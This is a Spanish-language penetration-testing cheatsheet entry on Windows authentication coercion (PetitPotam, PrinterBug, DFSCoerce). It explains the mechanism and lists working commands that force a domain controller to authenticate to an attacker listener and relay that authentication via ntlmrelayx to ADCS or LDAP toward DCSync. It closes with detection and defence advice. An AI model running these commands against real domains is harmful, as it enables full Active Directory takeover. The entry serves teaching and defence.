Authentication Coercion (PetitPotam / PrinterBug)
Arsenal completo de comandos en la cheatsheetLa coacción de autenticación obliga a un equipo (a menudo un controlador de dominio) a autenticarse contra un host que controla el atacante, sin necesitar credenciales de ese equipo. Por sí sola no da acceso, pero es el detonante de cadenas muy potentes cuando se combina con relay NTLM o delegación sin restricciones.
En qué se basa. Varias interfaces RPC de Windows tienen métodos que aceptan una ruta UNC y hacen que el servidor se conecte a ella autenticándose con su cuenta de máquina. Las más usadas son MS-RPRN (PrinterBug, vía el spooler), MS-EFSR (PetitPotam, vía cifrado de ficheros), MS-FSRVP (ShadowCoerce) y MS-DFSNM (DFSCoerce). Basta un usuario de dominio de bajo privilegio para dispararlas.
Cómo se ejecuta. Se lanza la coacción apuntando al listener del atacante y, en paralelo, se recibe la autenticación; el caso estrella es relayarla al ADCS (ESC8):
# forzar al DC a autenticarse contra nosotros (varias interfaces RPC)
petitpotam.py -u <user> -p <pass> <listener> <DC>
printerbug.py <domain>/<user>:<pass>@<DC> <listener>
dfscoerce.py -u <user> -p <pass> -d <domain> <listener> <DC>
coercer coerce -u <user> -p <pass> -d <domain> -t <DC> -l <listener> # prueba todas las interfaces
# relay a la inscripcion web del ADCS -> certificado del DC (ESC8)
ntlmrelayx.py -t http://<CA>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# relay a LDAP -> RBCD sobre el DC
ntlmrelayx.py -t ldap://<DC> --delegate-access --escalate-user <controlled-computer>$Con el certificado del DC$ se pide su TGT y se hace DCSync. La otra variante clásica es coaccionar al DC para que su TGT caiga en un host con delegación sin restricciones.
Cómo detectarlo. Vigilar autenticaciones SMB/HTTP salientes de un DC hacia un host que no es servidor (Event ID 4624 de una cuenta de máquina en un destino inusual) y las llamadas RPC a EfsRpcOpenFileRaw, RpcRemoteFindFirstPrinterChangeNotification y similares. Un DC$ autenticándose fuera de su patrón es la señal común a todas las variantes.
Defensa. Aplicar los parches (PetitPotam, KB5005413), forzar firma SMB y EPA + channel binding en el ADCS para cortar el relay, aplicar filtros RPC y deshabilitar el Print Spooler donde no haga falta. Relacionado con relay NTLM, ADCS ESC1 y envenenamiento LLMNR.